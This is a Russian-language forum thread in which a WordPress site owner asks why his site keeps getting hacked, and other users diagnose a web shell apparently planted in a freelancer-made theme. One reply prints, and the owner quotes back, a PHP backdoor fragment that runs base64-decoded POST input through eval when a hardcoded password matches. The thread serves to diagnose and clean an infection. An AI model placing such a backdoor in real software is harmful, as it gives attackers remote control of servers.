WordPress, постоянный взлом сайта

12
DezGot
На сайте с 30.04.2011
Offline
55
1745

Есть сайт: sk-angar.ru

Хостинг (sweb.ru) регулярно жалуется вирусы.

После первого раза удалил лишние доступы, восстановил файлы, поставил плагин Sucuri Security, на некоторые файлы поставил запрет записи.

И все равно регулярно происходит взлом сайта.

Последствия взлома разные:

- удаление сайта

- рассылка спама

- просто вирусы непонятного назначения.

В корневой папке появляются новые файлы *.php (пример во вложении), их нахожу и удаляю.

Смотрел логи хостинга, никто кроме меня не авторизовался.

Sucuri Security показывает, что на сайте авторизуюсь только я (с моим IP). Но также показывает, что был добавлено или отредактирован файл.

Доступа к ФТП ни у кого кроме меня нет, Мускл - аналогично.

Как происходит взлом?

Для навешивания нового дизайна привлекался программист-фрилансер. Подозреваю, что в созданной им теме содержится уязвимость, но как это проверить, непонятно.

Буду благодарен за дельные советы.

C
На сайте с 26.10.2013
Offline
54
#1

Айболитом пробовали прогнать?

Возможно где-то шелл залит

Услуги по парсингу данных (/ru/forum/939826), единоразовый и регулярный сбор данных. Любые объемы. Скрипты на PHP, создание и доработка, решение проблем с сайтами Пишите в личные сообщения или скайп
DezGot
На сайте с 30.04.2011
Offline
55
#2
colorito:
Айболитом пробовали прогнать?
Возможно где-то шелл залит

В онлайн версии проверил. https://rescan.pro/result.php?5ed32649588fc6c1b5cfecddeddade5c

Кроме скрипта с другого сайта ничего не найдено.

C
На сайте с 26.10.2013
Offline
54
#3

Ну этот скрипт дырка и есть

Вот часть его - если передается команда и правильный пароль, то команда выполняется у вас на сервере


if (isset($_POST) && is_array($_POST) && count($_POST)>1) {
foreach ($_POST as $var) {
if (!isset($code)) $code = $var; elseif (!isset($pass)) $pass = $var; else break;
}

if ($pass == "wciPoGBxQ015QPQXN0oFEq03UkjEy3EZ") {
eval(base64_decode($code));
}
}
DezGot
На сайте с 30.04.2011
Offline
55
#4
colorito:
Ну этот скрипт дырка и есть
Вот часть его - если передается команда и правильный пароль, то команда выполняется у вас на сервере


if (isset($_POST) && is_array($_POST) && count($_POST)>1) {
foreach ($_POST as $var) {
if (!isset($code)) $code = $var; elseif (!isset($pass)) $pass = $var; else break;
}

if ($pass == "wciPoGBxQ015QPQXN0oFEq03UkjEy3EZ") {
eval(base64_decode($code));
}
}

Вау... Что делать с этим? Удалить скрипт из шаблонов?

C
На сайте с 26.10.2013
Offline
54
#5

DezGot, ну да

Но не факт, что он единственный :)

DezGot
На сайте с 30.04.2011
Offline
55
#6
colorito:
DezGot, ну да
Но не факт, что он единственный :)

Все почистил. Подождем, посмотрим :)

Svictor
На сайте с 16.01.2007
Offline
99
#7
DezGot:
В онлайн версии проверил. https://rescan.pro/result.php?5ed32649588fc6c1b5cfecddeddade5c
Кроме скрипта с другого сайта ничего не найдено.

У Вас залит шел на сайте, который и делает на нем все что угодно.

Попробуйте проверить ай-болитом, как писали выше.

Если не получится, пишите в ЛС.

Постараюсь подсказать более подробно.

S
На сайте с 30.09.2016
Offline
469
#8
DezGot:
В онлайн версии проверил. https://rescan.pro/result.php?5ed32649588fc6c1b5cfecddeddade5c

Рескан видит только то, что выводится в браузере - всяких троянов и редиректы. Шелл он обнаружить не сможет. Надо проверять файловую систему.

---------- Добавлено 07.11.2016 в 21:23 ----------

DezGot:
Для навешивания нового дизайна привлекался программист-фрилансер. Подозреваю, что в созданной им теме содержится уязвимость.
Но только не спешите обвинять в этом фрилансера :). Идиотов, чтобы так подставляться, нет.
Отпилю лишнее, прикручу нужное, выправлю кривое. Вытравлю вредителей.
DT
На сайте с 28.11.2006
Offline
298
#9

Обновить вордпресс до последней. Проверить тему - а лучше скачать новую на надежном портале шаблонов. Во всех премиум взломанных шаблонов спрятан вирус.

Дешевый CloudLinux хостинг (http://www.provisov.net) много площадок в России, Франции, Украине, Германии, Нидерландах, США, Канаде. SSL-сертификат (https://www.provisov.net/blog/2016/10/26/besplatnyj-ssl-sertifikat-dlya-vsex-vashix-sajtov/) бесплатный и предустановленный для всех доменов
SeVlad
На сайте с 03.11.2008
Offline
1609
#10
Sitealert:
Но только не спешите обвинять в этом фрилансера . Идиотов, чтобы так подставляться, нет.

Но вместе с тем хватает идиотов, чтобы ставить своим клиентам ворованные темы с помоек.

И уж если такое

/*
Theme Name: Angar
Theme URI:
Author:
Author URI:
Description:
License:
License URI:
Tags:
Text Domain: angar
*/

фирилансел решил сделать, то... всяко может быть.

Svictor, прочти наконец правила форума/раздела.

Делаю хорошие сайты хорошим людям. Предпочтение коммерческим направлениям. Связь со мной через http://wp.me/P3YHjQ-3.
12

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий